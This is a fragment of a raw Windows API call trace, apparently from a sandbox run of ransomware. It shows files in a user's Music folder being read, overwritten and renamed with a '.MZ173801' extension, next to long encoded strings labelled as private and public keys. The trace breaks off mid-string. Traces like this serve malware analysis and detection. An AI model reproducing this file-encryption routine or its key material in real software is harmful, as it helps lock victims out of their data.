lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6acf7570, ftCreationTime.dwHighDateTime=0x1d5ec99, ftLastAccessTime.dwLowDateTime=0xfb7b6420, ftLastAccessTime.dwHighDateTime=0x1d5eb4b, ftLastWriteTime.dwLowDateTime=0xfb7b6420, ftLastWriteTime.dwHighDateTime=0x1d5eb4b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0159.140] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6acf7570, ftCreationTime.dwHighDateTime=0x1d5ec99, ftLastAccessTime.dwLowDateTime=0xfb7b6420, ftLastAccessTime.dwHighDateTime=0x1d5eb4b, ftLastWriteTime.dwLowDateTime=0xfb7b6420, ftLastWriteTime.dwHighDateTime=0x1d5eb4b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0159.140] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x259fe0d0, ftCreationTime.dwHighDateTime=0x1d5e64e, ftLastAccessTime.dwLowDateTime=0x673fe920, ftLastAccessTime.dwHighDateTime=0x1d5e1f0, ftLastWriteTime.dwLowDateTime=0x673fe920, ftLastWriteTime.dwHighDateTime=0x1d5e1f0, nFileSizeHigh=0x0, nFileSizeLow=0x9eea, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="QaCMXvblUaYWg.mp3", cAlternateFileName="QACMXV~1.MP3")) returned 1 [0159.140] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0159.140] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.140] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\QaCMXvblUaYWg.mp3" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\qacmxvbluaywg.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x259fe0d0, ftCreationTime.dwHighDateTime=0x1d5e64e, ftLastAccessTime.dwLowDateTime=0x673fe920, ftLastAccessTime.dwHighDateTime=0x1d5e1f0, ftLastWriteTime.dwLowDateTime=0x673fe920, ftLastWriteTime.dwHighDateTime=0x1d5e1f0, nFileSizeHigh=0x0, nFileSizeLow=0x9eea)) returned 1 [0159.140] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\QaCMXvblUaYWg.mp3" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\qacmxvbluaywg.mp3")) returned 0x20 [0159.140] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\QaCMXvblUaYWg.mp3", dwFileAttributes=0x80) returned 1 [0159.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0159.142] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0159.143] GetCurrentThreadId () returned 0xab4 [0159.143] GetCurrentThreadId () returned 0xab4 [0159.143] GetCurrentThreadId () returned 0xab4 [0159.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0159.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0159.144] GetCurrentThreadId () returned 0xab4 [0159.144] GetCurrentThreadId () returned 0xab4 [0159.144] GetCurrentThreadId () returned 0xab4 [0159.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\QaCMXvblUaYWg.mp3" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\qacmxvbluaywg.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.144] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0159.144] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.144] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x9eea [0159.144] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.144] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x9eea, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x9eea, lpOverlapped=0x0) returned 1 [0159.145] CloseHandle (hObject=0x2f8) returned 1 [0159.146] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\QaCMXvblUaYWg.mp3" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\qacmxvbluaywg.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.147] WriteFile (in: hFile=0x2f8, lpBuffer=0x24aa040*, nNumberOfBytesToWrite=0x9eea, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24aa040*, lpNumberOfBytesWritten=0x19f758*=0x9eea, lpOverlapped=0x0) returned 1 [0159.150] CloseHandle (hObject=0x2f8) returned 1 [0159.151] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\QaCMXvblUaYWg.mp3" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\qacmxvbluaywg.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\QaCMXvblUaYWg.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\qacmxvbluaywg.mp3.mz173801")) returned 1 [0159.152] GetCurrentThreadId () returned 0xab4 [0159.152] GetCurrentThreadId () returned 0xab4 [0159.152] GetCurrentThreadId () returned 0xab4 [0159.152] GetCurrentThreadId () returned 0xab4 [0159.152] GetCurrentThreadId () returned 0xab4 [0159.152] GetCurrentThreadId () returned 0xab4 [0159.152] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b11dae0, ftCreationTime.dwHighDateTime=0x1d5e952, ftLastAccessTime.dwLowDateTime=0x19ebc0b0, ftLastAccessTime.dwHighDateTime=0x1d5e63a, ftLastWriteTime.dwLowDateTime=0x19ebc0b0, ftLastWriteTime.dwHighDateTime=0x1d5e63a, nFileSizeHigh=0x0, nFileSizeLow=0x8841, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="TRIU.m4a", cAlternateFileName="")) returned 1 [0159.152] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.152] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.152] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\TRIU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\triu.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b11dae0, ftCreationTime.dwHighDateTime=0x1d5e952, ftLastAccessTime.dwLowDateTime=0x19ebc0b0, ftLastAccessTime.dwHighDateTime=0x1d5e63a, ftLastWriteTime.dwLowDateTime=0x19ebc0b0, ftLastWriteTime.dwHighDateTime=0x1d5e63a, nFileSizeHigh=0x0, nFileSizeLow=0x8841)) returned 1 [0159.152] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\TRIU.m4a" (normalized: "c:\\users\\fd1hvy\\music\\svko8jzsizgrbc\\triu.m4a")) returned 0x20 [0159.152] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\svKO8jzsiZGRBC\\TRIU.m4a", dwFileAttributes=0x80) returned 1 [0159.154] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7C